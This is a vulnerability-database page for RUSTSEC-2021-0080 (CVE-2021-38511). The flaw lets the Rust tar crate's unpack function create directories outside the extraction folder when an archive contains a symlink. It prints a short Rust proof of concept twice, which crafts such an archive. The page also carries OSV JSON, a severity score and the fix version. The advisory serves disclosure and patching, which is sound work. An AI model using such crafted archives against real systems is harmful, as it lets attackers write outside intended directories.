GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
rustsec-2021-0080
Vulnerability from osv_rustsec
Published
2021-07-19 12:00
Modified
2026-07-17 15:52
Summary
Links in archive can create arbitrary directories
Details

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
References
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "categories": [],
        "cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
        "informational": null
      },
      "ecosystem_specific": {
        "affected_functions": null,
        "affects": {
          "arch": [],
          "functions": [
            "tar::Archive::unpack"
          ],
          "os": []
        }
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "tar",
        "purl": "pkg:cargo/tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-0"
            },
            {
              "fixed": "0.4.36"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": []
    }
  ],
  "aliases": [
    "CVE-2021-38511",
    "GHSA-62jx-8vmh-4mcw"
  ],
  "database_specific": {
    "license": "CC0-1.0"
  },
  "details": "When unpacking a tarball that contains a symlink the `tar` crate may create\ndirectories outside of the directory it\u0027s supposed to unpack into.\n\nThe function errors when it\u0027s trying to create a file, but the folders are\nalready created at this point.\n\n```rust\nuse std::{io, io::Result};\nuse tar::{Archive, Builder, EntryType, Header};\n\nfn main() -\u003e Result\u003c()\u003e {\n    let mut buf = Vec::new();\n\n    {\n        let mut builder = Builder::new(\u0026mut buf);\n\n        // symlink: parent -\u003e ..\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink\")?;\n        header.set_link_name(\"..\")?;\n        header.set_entry_type(EntryType::Symlink);\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(\u0026header, io::empty())?;\n\n        // file: symlink/exploit/foo/bar\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink/exploit/foo/bar\")?;\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(\u0026header, io::empty())?;\n\n        builder.finish()?;\n    };\n\n    Archive::new(\u0026*buf).unpack(\"demo\")\n}\n```\n\nThis has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is\npublished as `tar` 0.4.36. Thanks to Martin Michaelis ([@mgjm](https://github.com/mgjm)) for\ndiscovering and reporting this, and Nikhil Benesch ([@benesch](https://github.com/benesch)) for\nthe fix!",
  "id": "RUSTSEC-2021-0080",
  "modified": "2026-07-17T15:52:38Z",
  "published": "2021-07-19T12:00:00Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://crates.io/crates/tar"
    },
    {
      "type": "ADVISORY",
      "url": "https://rustsec.org/advisories/RUSTSEC-2021-0080.html"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/alexcrichton/tar-rs/issues/238"
    }
  ],
  "related": [],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Links in archive can create arbitrary directories"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.